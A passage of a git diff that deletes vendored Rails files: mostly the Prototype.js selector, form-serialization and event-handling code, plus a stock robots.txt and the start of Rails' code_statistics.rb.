-      if (!nodes) nodes = Selector.handlers.descendant([root]);
-      var needle = ' ' + className + ' ';
-      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
-        nodeClassName = node.className;
-        if (nodeClassName.length == 0) continue;
-        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
-          results.push(node);
-      }
-      return results;
-    },
-
-    attrPresence: function(nodes, root, attr, combinator) {
-      if (!nodes) nodes = root.getElementsByTagName("*");
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      var results = [];
-      for (var i = 0, node; node = nodes[i]; i++)
-        if (Element.hasAttribute(node, attr)) results.push(node);
-      return results;
-    },
-
-    attr: function(nodes, root, attr, value, operator, combinator) {
-      if (!nodes) nodes = root.getElementsByTagName("*");
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      var handler = Selector.operators[operator], results = [];
-      for (var i = 0, node; node = nodes[i]; i++) {
-        var nodeValue = Element.readAttribute(node, attr);
-        if (nodeValue === null) continue;
-        if (handler(nodeValue, value)) results.push(node);
-      }
-      return results;
-    },
-
-    pseudo: function(nodes, name, value, root, combinator) {
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      if (!nodes) nodes = root.getElementsByTagName("*");
-      return Selector.pseudos[name](nodes, value, root);
-    }
-  },
-
-  pseudos: {
-    'first-child': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        if (Selector.handlers.previousElementSibling(node)) continue;
-          results.push(node);
-      }
-      return results;
-    },
-    'last-child': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        if (Selector.handlers.nextElementSibling(node)) continue;
-          results.push(node);
-      }
-      return results;
-    },
-    'only-child': function(nodes, value, root) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
-          results.push(node);
-      return results;
-    },
-    'nth-child':        function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root);
-    },
-    'nth-last-child':   function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root, true);
-    },
-    'nth-of-type':      function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root, false, true);
-    },
-    'nth-last-of-type': function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root, true, true);
-    },
-    'first-of-type':    function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, "1", root, false, true);
-    },
-    'last-of-type':     function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, "1", root, true, true);
-    },
-    'only-of-type':     function(nodes, formula, root) {
-      var p = Selector.pseudos;
-      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
-    },
-
-    // handles the an+b logic
-    getIndices: function(a, b, total) {
-      if (a == 0) return b > 0 ? [b] : [];
-      return $R(1, total).inject([], function(memo, i) {
-        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
-        return memo;
-      });
-    },
-
-    // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type
-    nth: function(nodes, formula, root, reverse, ofType) {
-      if (nodes.length == 0) return [];
-      if (formula == 'even') formula = '2n+0';
-      if (formula == 'odd')  formula = '2n+1';
-      var h = Selector.handlers, results = [], indexed = [], m;
-      h.mark(nodes);
-      for (var i = 0, node; node = nodes[i]; i++) {
-        if (!node.parentNode._countedByPrototype) {
-          h.index(node.parentNode, reverse, ofType);
-          indexed.push(node.parentNode);
-        }
-      }
-      if (formula.match(/^\d+$/)) { // just a number
-        formula = Number(formula);
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node.nodeIndex == formula) results.push(node);
-      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
-        if (m[1] == "-") m[1] = -1;
-        var a = m[1] ? Number(m[1]) : 1;
-        var b = m[2] ? Number(m[2]) : 0;
-        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
-        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
-          for (var j = 0; j < l; j++)
-            if (node.nodeIndex == indices[j]) results.push(node);
-        }
-      }
-      h.unmark(nodes);
-      h.unmark(indexed);
-      return results;
-    },
-
-    'empty': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        // IE treats comments as element nodes
-        if (node.tagName == '!' || node.firstChild) continue;
-        results.push(node);
-      }
-      return results;
-    },
-
-    'not': function(nodes, selector, root) {
-      var h = Selector.handlers, selectorType, m;
-      var exclusions = new Selector(selector).findElements(root);
-      h.mark(exclusions);
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (!node._countedByPrototype) results.push(node);
-      h.unmark(exclusions);
-      return results;
-    },
-
-    'enabled': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (!node.disabled && (!node.type || node.type !== 'hidden'))
-          results.push(node);
-      return results;
-    },
-
-    'disabled': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (node.disabled) results.push(node);
-      return results;
-    },
-
-    'checked': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (node.checked) results.push(node);
-      return results;
-    }
-  },
-
-  operators: {
-    '=':  function(nv, v) { return nv == v; },
-    '!=': function(nv, v) { return nv != v; },
-    '^=': function(nv, v) { return nv == v || nv && nv.startsWith(v); },
-    '$=': function(nv, v) { return nv == v || nv && nv.endsWith(v); },
-    '*=': function(nv, v) { return nv == v || nv && nv.include(v); },
-    '$=': function(nv, v) { return nv.endsWith(v); },
-    '*=': function(nv, v) { return nv.include(v); },
-    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
-    '|=': function(nv, v) { return ('-' + (nv || "").toUpperCase() +
-     '-').include('-' + (v || "").toUpperCase() + '-'); }
-  },
-
-  split: function(expression) {
-    var expressions = [];
-    expression.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
-      expressions.push(m[1].strip());
-    });
-    return expressions;
-  },
-
-  matchElements: function(elements, expression) {
-    var matches = $$(expression), h = Selector.handlers;
-    h.mark(matches);
-    for (var i = 0, results = [], element; element = elements[i]; i++)
-      if (element._countedByPrototype) results.push(element);
-    h.unmark(matches);
-    return results;
-  },
-
-  findElement: function(elements, expression, index) {
-    if (Object.isNumber(expression)) {
-      index = expression; expression = false;
-    }
-    return Selector.matchElements(elements, expression || '*')[index || 0];
-  },
-
-  findChildElements: function(element, expressions) {
-    expressions = Selector.split(expressions.join(','));
-    var results = [], h = Selector.handlers;
-    for (var i = 0, l = expressions.length, selector; i < l; i++) {
-      selector = new Selector(expressions[i].strip());
-      h.concat(results, selector.findElements(element));
-    }
-    return (l > 1) ? h.unique(results) : results;
-  }
-});
-
-if (Prototype.Browser.IE) {
-  Object.extend(Selector.handlers, {
-    // IE returns comment nodes on getElementsByTagName("*").
-    // Filter them out.
-    concat: function(a, b) {
-      for (var i = 0, node; node = b[i]; i++)
-        if (node.tagName !== "!") a.push(node);
-      return a;
-    },
-
-    // IE improperly serializes _countedByPrototype in (inner|outer)HTML.
-    unmark: function(nodes) {
-      for (var i = 0, node; node = nodes[i]; i++)
-        node.removeAttribute('_countedByPrototype');
-      return nodes;
-    }
-  });
-}
-
-function $$() {
-  return Selector.findChildElements(document, $A(arguments));
-}
-var Form = {
-  reset: function(form) {
-    $(form).reset();
-    return form;
-  },
-
-  serializeElements: function(elements, options) {
-    if (typeof options != 'object') options = { hash: !!options };
-    else if (Object.isUndefined(options.hash)) options.hash = true;
-    var key, value, submitted = false, submit = options.submit;
-
-    var data = elements.inject({ }, function(result, element) {
-      if (!element.disabled && element.name) {
-        key = element.name; value = $(element).getValue();
-        if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
-            submit !== false && (!submit || key == submit) && (submitted = true)))) {
-          if (key in result) {
-            // a key is already present; construct an array of values
-            if (!Object.isArray(result[key])) result[key] = [result[key]];
-            result[key].push(value);
-          }
-          else result[key] = value;
-        }
-      }
-      return result;
-    });
-
-    return options.hash ? data : Object.toQueryString(data);
-  }
-};
-
-Form.Methods = {
-  serialize: function(form, options) {
-    return Form.serializeElements(Form.getElements(form), options);
-  },
-
-  getElements: function(form) {
-    return $A($(form).getElementsByTagName('*')).inject([],
-      function(elements, child) {
-        if (Form.Element.Serializers[child.tagName.toLowerCase()])
-          elements.push(Element.extend(child));
-        return elements;
-      }
-    );
-  },
-
-  getInputs: function(form, typeName, name) {
-    form = $(form);
-    var inputs = form.getElementsByTagName('input');
-
-    if (!typeName && !name) return $A(inputs).map(Element.extend);
-
-    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
-      var input = inputs[i];
-      if ((typeName && input.type != typeName) || (name && input.name != name))
-        continue;
-      matchingInputs.push(Element.extend(input));
-    }
-
-    return matchingInputs;
-  },
-
-  disable: function(form) {
-    form = $(form);
-    Form.getElements(form).invoke('disable');
-    return form;
-  },
-
-  enable: function(form) {
-    form = $(form);
-    Form.getElements(form).invoke('enable');
-    return form;
-  },
-
-  findFirstElement: function(form) {
-    var elements = $(form).getElements().findAll(function(element) {
-      return 'hidden' != element.type && !element.disabled;
-    });
-    var firstByIndex = elements.findAll(function(element) {
-      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
-    }).sortBy(function(element) { return element.tabIndex }).first();
-
-    return firstByIndex ? firstByIndex : elements.find(function(element) {
-      return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
-    });
-  },
-
-  focusFirstElement: function(form) {
-    form = $(form);
-    form.findFirstElement().activate();
-    return form;
-  },
-
-  request: function(form, options) {
-    form = $(form), options = Object.clone(options || { });
-
-    var params = options.parameters, action = form.readAttribute('action') || '';
-    if (action.blank()) action = window.location.href;
-    options.parameters = form.serialize(true);
-
-    if (params) {
-      if (Object.isString(params)) params = params.toQueryParams();
-      Object.extend(options.parameters, params);
-    }
-
-    if (form.hasAttribute('method') && !options.method)
-      options.method = form.method;
-
-    return new Ajax.Request(action, options);
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-Form.Element = {
-  focus: function(element) {
-    $(element).focus();
-    return element;
-  },
-
-  select: function(element) {
-    $(element).select();
-    return element;
-  }
-};
-
-Form.Element.Methods = {
-  serialize: function(element) {
-    element = $(element);
-    if (!element.disabled && element.name) {
-      var value = element.getValue();
-      if (value != undefined) {
-        var pair = { };
-        pair[element.name] = value;
-        return Object.toQueryString(pair);
-      }
-    }
-    return '';
-  },
-
-  getValue: function(element) {
-    element = $(element);
-    var method = element.tagName.toLowerCase();
-    return Form.Element.Serializers[method](element);
-  },
-
-  setValue: function(element, value) {
-    element = $(element);
-    var method = element.tagName.toLowerCase();
-    Form.Element.Serializers[method](element, value);
-    return element;
-  },
-
-  clear: function(element) {
-    $(element).value = '';
-    return element;
-  },
-
-  present: function(element) {
-    return $(element).value != '';
-  },
-
-  activate: function(element) {
-    element = $(element);
-    try {
-      element.focus();
-      if (element.select && (element.tagName.toLowerCase() != 'input' ||
-          !['button', 'reset', 'submit'].include(element.type)))
-        element.select();
-    } catch (e) { }
-    return element;
-  },
-
-  disable: function(element) {
-    element = $(element);
-    element.disabled = true;
-    return element;
-  },
-
-  enable: function(element) {
-    element = $(element);
-    element.disabled = false;
-    return element;
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-var Field = Form.Element;
-var $F = Form.Element.Methods.getValue;
-
-/*--------------------------------------------------------------------------*/
-
-Form.Element.Serializers = {
-  input: function(element, value) {
-    switch (element.type.toLowerCase()) {
-      case 'checkbox':
-      case 'radio':
-        return Form.Element.Serializers.inputSelector(element, value);
-      default:
-        return Form.Element.Serializers.textarea(element, value);
-    }
-  },
-
-  inputSelector: function(element, value) {
-    if (Object.isUndefined(value)) return element.checked ? element.value : null;
-    else element.checked = !!value;
-  },
-
-  textarea: function(element, value) {
-    if (Object.isUndefined(value)) return element.value;
-    else element.value = value;
-  },
-
-  select: function(element, value) {
-    if (Object.isUndefined(value))
-      return this[element.type == 'select-one' ?
-        'selectOne' : 'selectMany'](element);
-    else {
-      var opt, currentValue, single = !Object.isArray(value);
-      for (var i = 0, length = element.length; i < length; i++) {
-        opt = element.options[i];
-        currentValue = this.optionValue(opt);
-        if (single) {
-          if (currentValue == value) {
-            opt.selected = true;
-            return;
-          }
-        }
-        else opt.selected = value.include(currentValue);
-      }
-    }
-  },
-
-  selectOne: function(element) {
-    var index = element.selectedIndex;
-    return index >= 0 ? this.optionValue(element.options[index]) : null;
-  },
-
-  selectMany: function(element) {
-    var values, length = element.length;
-    if (!length) return null;
-
-    for (var i = 0, values = []; i < length; i++) {
-      var opt = element.options[i];
-      if (opt.selected) values.push(this.optionValue(opt));
-    }
-    return values;
-  },
-
-  optionValue: function(opt) {
-    // extend element because hasAttribute may not be native
-    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
-  initialize: function($super, element, frequency, callback) {
-    $super(callback, frequency);
-    this.element   = $(element);
-    this.lastValue = this.getValue();
-  },
-
-  execute: function() {
-    var value = this.getValue();
-    if (Object.isString(this.lastValue) && Object.isString(value) ?
-        this.lastValue != value : String(this.lastValue) != String(value)) {
-      this.callback(this.element, value);
-      this.lastValue = value;
-    }
-  }
-});
-
-Form.Element.Observer = Class.create(Abstract.TimedObserver, {
-  getValue: function() {
-    return Form.Element.getValue(this.element);
-  }
-});
-
-Form.Observer = Class.create(Abstract.TimedObserver, {
-  getValue: function() {
-    return Form.serialize(this.element);
-  }
-});
-
-/*--------------------------------------------------------------------------*/
-
-Abstract.EventObserver = Class.create({
-  initialize: function(element, callback) {
-    this.element  = $(element);
-    this.callback = callback;
-
-    this.lastValue = this.getValue();
-    if (this.element.tagName.toLowerCase() == 'form')
-      this.registerFormCallbacks();
-    else
-      this.registerCallback(this.element);
-  },
-
-  onElementEvent: function() {
-    var value = this.getValue();
-    if (this.lastValue != value) {
-      this.callback(this.element, value);
-      this.lastValue = value;
-    }
-  },
-
-  registerFormCallbacks: function() {
-    Form.getElements(this.element).each(this.registerCallback, this);
-  },
-
-  registerCallback: function(element) {
-    if (element.type) {
-      switch (element.type.toLowerCase()) {
-        case 'checkbox':
-        case 'radio':
-          Event.observe(element, 'click', this.onElementEvent.bind(this));
-          break;
-        default:
-          Event.observe(element, 'change', this.onElementEvent.bind(this));
-          break;
-      }
-    }
-  }
-});
-
-Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
-  getValue: function() {
-    return Form.Element.getValue(this.element);
-  }
-});
-
-Form.EventObserver = Class.create(Abstract.EventObserver, {
-  getValue: function() {
-    return Form.serialize(this.element);
-  }
-});
-if (!window.Event) var Event = { };
-
-Object.extend(Event, {
-  KEY_BACKSPACE: 8,
-  KEY_TAB:       9,
-  KEY_RETURN:   13,
-  KEY_ESC:      27,
-  KEY_LEFT:     37,
-  KEY_UP:       38,
-  KEY_RIGHT:    39,
-  KEY_DOWN:     40,
-  KEY_DELETE:   46,
-  KEY_HOME:     36,
-  KEY_END:      35,
-  KEY_PAGEUP:   33,
-  KEY_PAGEDOWN: 34,
-  KEY_INSERT:   45,
-
-  cache: { },
-
-  relatedTarget: function(event) {
-    var element;
-    switch(event.type) {
-      case 'mouseover': element = event.fromElement; break;
-      case 'mouseout':  element = event.toElement;   break;
-      default: return null;
-    }
-    return Element.extend(element);
-  }
-});
-
-Event.Methods = (function() {
-  var isButton;
-
-  if (Prototype.Browser.IE) {
-    var buttonMap = { 0: 1, 1: 4, 2: 2 };
-    isButton = function(event, code) {
-      return event.button == buttonMap[code];
-    };
-
-  } else if (Prototype.Browser.WebKit) {
-    isButton = function(event, code) {
-      switch (code) {
-        case 0: return event.which == 1 && !event.metaKey;
-        case 1: return event.which == 1 && event.metaKey;
-        default: return false;
-      }
-    };
-
-  } else {
-    isButton = function(event, code) {
-      return event.which ? (event.which === code + 1) : (event.button === code);
-    };
-  }
-
-  return {
-    isLeftClick:   function(event) { return isButton(event, 0) },
-    isMiddleClick: function(event) { return isButton(event, 1) },
-    isRightClick:  function(event) { return isButton(event, 2) },
-
-    element: function(event) {
-      event = Event.extend(event);
-
-      var node          = event.target,
-          type          = event.type,
-          currentTarget = event.currentTarget;
-
-      if (currentTarget && currentTarget.tagName) {
-        // Firefox screws up the "click" event when moving between radio buttons
-        // via arrow keys. It also screws up the "load" and "error" events on images,
-        // reporting the document as the target instead of the original image.
-        if (type === 'load' || type === 'error' ||
-          (type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
-            && currentTarget.type === 'radio'))
-              node = currentTarget;
-      }
-      if (node.nodeType == Node.TEXT_NODE) node = node.parentNode;
-      return Element.extend(node);
-    },
-
-    findElement: function(event, expression) {
-      var element = Event.element(event);
-      if (!expression) return element;
-      var elements = [element].concat(element.ancestors());
-      return Selector.findElement(elements, expression, 0);
-    },
-
-    pointer: function(event) {
-      var docElement = document.documentElement,
-      body = document.body || { scrollLeft: 0, scrollTop: 0 };
-      return {
-        x: event.pageX || (event.clientX +
-          (docElement.scrollLeft || body.scrollLeft) -
-          (docElement.clientLeft || 0)),
-        y: event.pageY || (event.clientY +
-          (docElement.scrollTop || body.scrollTop) -
-          (docElement.clientTop || 0))
-      };
-    },
-
-    pointerX: function(event) { return Event.pointer(event).x },
-    pointerY: function(event) { return Event.pointer(event).y },
-
-    stop: function(event) {
-      Event.extend(event);
-      event.preventDefault();
-      event.stopPropagation();
-      event.stopped = true;
-    }
-  };
-})();
-
-Event.extend = (function() {
-  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
-    m[name] = Event.Methods[name].methodize();
-    return m;
-  });
-
-  if (Prototype.Browser.IE) {
-    Object.extend(methods, {
-      stopPropagation: function() { this.cancelBubble = true },
-      preventDefault:  function() { this.returnValue = false },
-      inspect: function() { return "[object Event]" }
-    });
-
-    return function(event) {
-      if (!event) return false;
-      if (event._extendedByPrototype) return event;
-
-      event._extendedByPrototype = Prototype.emptyFunction;
-      var pointer = Event.pointer(event);
-      Object.extend(event, {
-        target: event.srcElement,
-        relatedTarget: Event.relatedTarget(event),
-        pageX:  pointer.x,
-        pageY:  pointer.y
-      });
-      return Object.extend(event, methods);
-    };
-
-  } else {
-    Event.prototype = Event.prototype || document.createEvent("HTMLEvents")['__proto__'];
-    Object.extend(Event.prototype, methods);
-    return Prototype.K;
-  }
-})();
-
-Object.extend(Event, (function() {
-  var cache = Event.cache;
-
-  function getEventID(element) {
-    if (element._prototypeEventID) return element._prototypeEventID[0];
-    arguments.callee.id = arguments.callee.id || 1;
-    return element._prototypeEventID = [++arguments.callee.id];
-  }
-
-  function getDOMEventName(eventName) {
-    if (eventName && eventName.include(':')) return "dataavailable";
-    return eventName;
-  }
-
-  function getCacheForID(id) {
-    return cache[id] = cache[id] || { };
-  }
-
-  function getWrappersForEventName(id, eventName) {
-    var c = getCacheForID(id);
-    return c[eventName] = c[eventName] || [];
-  }
-
-  function createWrapper(element, eventName, handler) {
-    var id = getEventID(element);
-    var c = getWrappersForEventName(id, eventName);
-    if (c.pluck("handler").include(handler)) return false;
-
-    var wrapper = function(event) {
-      if (!Event || !Event.extend ||
-        (event.eventName && event.eventName != eventName))
-          return false;
-
-      Event.extend(event);
-      handler.call(element, event);
-    };
-
-    wrapper.handler = handler;
-    c.push(wrapper);
-    return wrapper;
-  }
-
-  function findWrapper(id, eventName, handler) {
-    var c = getWrappersForEventName(id, eventName);
-    return c.find(function(wrapper) { return wrapper.handler == handler });
-  }
-
-  function destroyWrapper(id, eventName, handler) {
-    var c = getCacheForID(id);
-    if (!c[eventName]) return false;
-    c[eventName] = c[eventName].without(findWrapper(id, eventName, handler));
-  }
-
-  function destroyCache() {
-    for (var id in cache)
-      for (var eventName in cache[id])
-        cache[id][eventName] = null;
-  }
-
-
-  // Internet Explorer needs to remove event handlers on page unload
-  // in order to avoid memory leaks.
-  if (window.attachEvent) {
-    window.attachEvent("onunload", destroyCache);
-  }
-
-  // Safari has a dummy event handler on page unload so that it won't
-  // use its bfcache. Safari <= 3.1 has an issue with restoring the "document"
-  // object when page is returned to via the back button using its bfcache.
-  if (Prototype.Browser.WebKit) {
-    window.addEventListener('unload', Prototype.emptyFunction, false);
-  }
-
-  return {
-    observe: function(element, eventName, handler) {
-      element = $(element);
-      var name = getDOMEventName(eventName);
-
-      var wrapper = createWrapper(element, eventName, handler);
-      if (!wrapper) return element;
-
-      if (element.addEventListener) {
-        element.addEventListener(name, wrapper, false);
-      } else {
-        element.attachEvent("on" + name, wrapper);
-      }
-
-      return element;
-    },
-
-    stopObserving: function(element, eventName, handler) {
-      element = $(element);
-      var id = getEventID(element), name = getDOMEventName(eventName);
-
-      if (!handler && eventName) {
-        getWrappersForEventName(id, eventName).each(function(wrapper) {
-          element.stopObserving(eventName, wrapper.handler);
-        });
-        return element;
-
-      } else if (!eventName) {
-        Object.keys(getCacheForID(id)).each(function(eventName) {
-          element.stopObserving(eventName);
-        });
-        return element;
-      }
-
-      var wrapper = findWrapper(id, eventName, handler);
-      if (!wrapper) return element;
-
-      if (element.removeEventListener) {
-        element.removeEventListener(name, wrapper, false);
-      } else {
-        element.detachEvent("on" + name, wrapper);
-      }
-
-      destroyWrapper(id, eventName, handler);
-
-      return element;
-    },
-
-    fire: function(element, eventName, memo) {
-      element = $(element);
-      if (element == document && document.createEvent && !element.dispatchEvent)
-        element = document.documentElement;
-
-      var event;
-      if (document.createEvent) {
-        event = document.createEvent("HTMLEvents");
-        event.initEvent("dataavailable", true, true);
-      } else {
-        event = document.createEventObject();
-        event.eventType = "ondataavailable";
-      }
-
-      event.eventName = eventName;
-      event.memo = memo || { };
-
-      if (document.createEvent) {
-        element.dispatchEvent(event);
-      } else {
-        element.fireEvent(event.eventType, event);
-      }
-
-      return Event.extend(event);
-    }
-  };
-})());
-
-Object.extend(Event, Event.Methods);
-
-Element.addMethods({
-  fire:          Event.fire,
-  observe:       Event.observe,
-  stopObserving: Event.stopObserving
-});
-
-Object.extend(document, {
-  fire:          Element.Methods.fire.methodize(),
-  observe:       Element.Methods.observe.methodize(),
-  stopObserving: Element.Methods.stopObserving.methodize(),
-  loaded:        false
-});
-
-(function() {
-  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
-     Matthias Miller, Dean Edwards and John Resig. */
-
-  var timer;
-
-  function fireContentLoadedEvent() {
-    if (document.loaded) return;
-    if (timer) window.clearInterval(timer);
-    document.fire("dom:loaded");
-    document.loaded = true;
-  }
-
-  if (document.addEventListener) {
-    if (Prototype.Browser.WebKit) {
-      timer = window.setInterval(function() {
-        if (/loaded|complete/.test(document.readyState))
-          fireContentLoadedEvent();
-      }, 0);
-
-      Event.observe(window, "load", fireContentLoadedEvent);
-
-    } else {
-      document.addEventListener("DOMContentLoaded",
-        fireContentLoadedEvent, false);
-    }
-
-  } else {
-    document.write("<script id=__onDOMContentLoaded defer src=//:><\/script>");
-    $("__onDOMContentLoaded").onreadystatechange = function() {
-      if (this.readyState == "complete") {
-        this.onreadystatechange = null;
-        fireContentLoadedEvent();
-      }
-    };
-  }
-})();
-/*------------------------------- DEPRECATED -------------------------------*/
-
-Hash.toQueryString = Object.toQueryString;
-
-var Toggle = { display: Element.toggle };
-
-Element.Methods.childOf = Element.Methods.descendantOf;
-
-var Insertion = {
-  Before: function(element, content) {
-    return Element.insert(element, {before:content});
-  },
-
-  Top: function(element, content) {
-    return Element.insert(element, {top:content});
-  },
-
-  Bottom: function(element, content) {
-    return Element.insert(element, {bottom:content});
-  },
-
-  After: function(element, content) {
-    return Element.insert(element, {after:content});
-  }
-};
-
-var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
-
-// This should be moved to script.aculo.us; notice the deprecated methods
-// further below, that map to the newer Element methods.
-var Position = {
-  // set to true if needed, warning: firefox performance problems
-  // NOT neeeded for page scrolling, only if draggable contained in
-  // scrollable elements
-  includeScrollOffsets: false,
-
-  // must be called before calling withinIncludingScrolloffset, every time the
-  // page is scrolled
-  prepare: function() {
-    this.deltaX =  window.pageXOffset
-                || document.documentElement.scrollLeft
-                || document.body.scrollLeft
-                || 0;
-    this.deltaY =  window.pageYOffset
-                || document.documentElement.scrollTop
-                || document.body.scrollTop
-                || 0;
-  },
-
-  // caches x/y coordinate pair to use with overlap
-  within: function(element, x, y) {
-    if (this.includeScrollOffsets)
-      return this.withinIncludingScrolloffsets(element, x, y);
-    this.xcomp = x;
-    this.ycomp = y;
-    this.offset = Element.cumulativeOffset(element);
-
-    return (y >= this.offset[1] &&
-            y <  this.offset[1] + element.offsetHeight &&
-            x >= this.offset[0] &&
-            x <  this.offset[0] + element.offsetWidth);
-  },
-
-  withinIncludingScrolloffsets: function(element, x, y) {
-    var offsetcache = Element.cumulativeScrollOffset(element);
-
-    this.xcomp = x + offsetcache[0] - this.deltaX;
-    this.ycomp = y + offsetcache[1] - this.deltaY;
-    this.offset = Element.cumulativeOffset(element);
-
-    return (this.ycomp >= this.offset[1] &&
-            this.ycomp <  this.offset[1] + element.offsetHeight &&
-            this.xcomp >= this.offset[0] &&
-            this.xcomp <  this.offset[0] + element.offsetWidth);
-  },
-
-  // within must be called directly before
-  overlap: function(mode, element) {
-    if (!mode) return 0;
-    if (mode == 'vertical')
-      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
-        element.offsetHeight;
-    if (mode == 'horizontal')
-      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
-        element.offsetWidth;
-  },
-
-  // Deprecation layer -- use newer Element methods now (1.5.2).
-
-  cumulativeOffset: Element.Methods.cumulativeOffset,
-
-  positionedOffset: Element.Methods.positionedOffset,
-
-  absolutize: function(element) {
-    Position.prepare();
-    return Element.absolutize(element);
-  },
-
-  relativize: function(element) {
-    Position.prepare();
-    return Element.relativize(element);
-  },
-
-  realOffset: Element.Methods.cumulativeScrollOffset,
-
-  offsetParent: Element.Methods.getOffsetParent,
-
-  page: Element.Methods.viewportOffset,
-
-  clone: function(source, target, options) {
-    options = options || { };
-    return Element.clonePosition(target, source, options);
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
-  function iter(name) {
-    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
-  }
-
-  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
-  function(element, className) {
-    className = className.toString().strip();
-    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
-    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
-  } : function(element, className) {
-    className = className.toString().strip();
-    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
-    if (!classNames && !className) return elements;
-
-    var nodes = $(element).getElementsByTagName('*');
-    className = ' ' + className + ' ';
-
-    for (var i = 0, child, cn; child = nodes[i]; i++) {
-      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
-          (classNames && classNames.all(function(name) {
-            return !name.toString().blank() && cn.include(' ' + name + ' ');
-          }))))
-        elements.push(Element.extend(child));
-    }
-    return elements;
-  };
-
-  return function(className, parentElement) {
-    return $(parentElement || document.body).getElementsByClassName(className);
-  };
-}(Element.Methods);
-
-/*--------------------------------------------------------------------------*/
-
-Element.ClassNames = Class.create();
-Element.ClassNames.prototype = {
-  initialize: function(element) {
-    this.element = $(element);
-  },
-
-  _each: function(iterator) {
-    this.element.className.split(/\s+/).select(function(name) {
-      return name.length > 0;
-    })._each(iterator);
-  },
-
-  set: function(className) {
-    this.element.className = className;
-  },
-
-  add: function(classNameToAdd) {
-    if (this.include(classNameToAdd)) return;
-    this.set($A(this).concat(classNameToAdd).join(' '));
-  },
-
-  remove: function(classNameToRemove) {
-    if (!this.include(classNameToRemove)) return;
-    this.set($A(this).without(classNameToRemove).join(' '));
-  },
-
-  toString: function() {
-    return $A(this).join(' ');
-  }
-};
-
-Object.extend(Element.ClassNames.prototype, Enumerable);
-
-/*--------------------------------------------------------------------------*/
-
-Element.addMethods();
\ No newline at end of file
diff --git a/vendor/rails/railties/html/robots.txt b/vendor/rails/railties/html/robots.txt
deleted file mode 100644
index 085187fa..00000000
--- a/vendor/rails/railties/html/robots.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
-#
-# To ban all spiders from the entire site uncomment the next two lines:
-# User-Agent: *
-# Disallow: /
diff --git a/vendor/rails/railties/lib/code_statistics.rb b/vendor/rails/railties/lib/code_statistics.rb
deleted file mode 100644
index 740d8a17..00000000
--- a/vendor/rails/railties/lib/code_statistics.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-class CodeStatistics #:nodoc:
-
-  TEST_TYPES = %w(Units Functionals Unit\ tests Functional\ tests Integration\ tests)
-
-  def initialize(*pairs)
-    @pairs      = pairs
-    @statistics = calculate_statistics
-    @total      = calculate_total if pairs.length > 1
-  end
-
-  def to_s
-    print_header
-    @pairs.each { |pair| print_line(pair.first, @statistics[pair.first]) }
-    print_splitter
-  
-    if @total
-      print_line("Total", @total)
-      print_splitter
-    end
-
-    print_code_test_stats
-  end
-
-  private
-    def calculate_statistics
-      @pairs.inject({}) { |stats, pair| stats[pair.first] = calculate_directory_statistics(pair.last); stats }
-    end
-
-    def calculate_directory_statistics(directory, pattern = /.*\.rb$/)
-      stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
-
-      Dir.foreach(directory) do |file_name| 
-        if File.stat(directory + "/" + file_name).directory? and (/^\./ !~ file_name)
-          newstats = calculate_directory_statistics(directory + "/" + file_name, pattern)
-          stats.each { |k, v| stats[k] += newstats[k] }
-        end
-
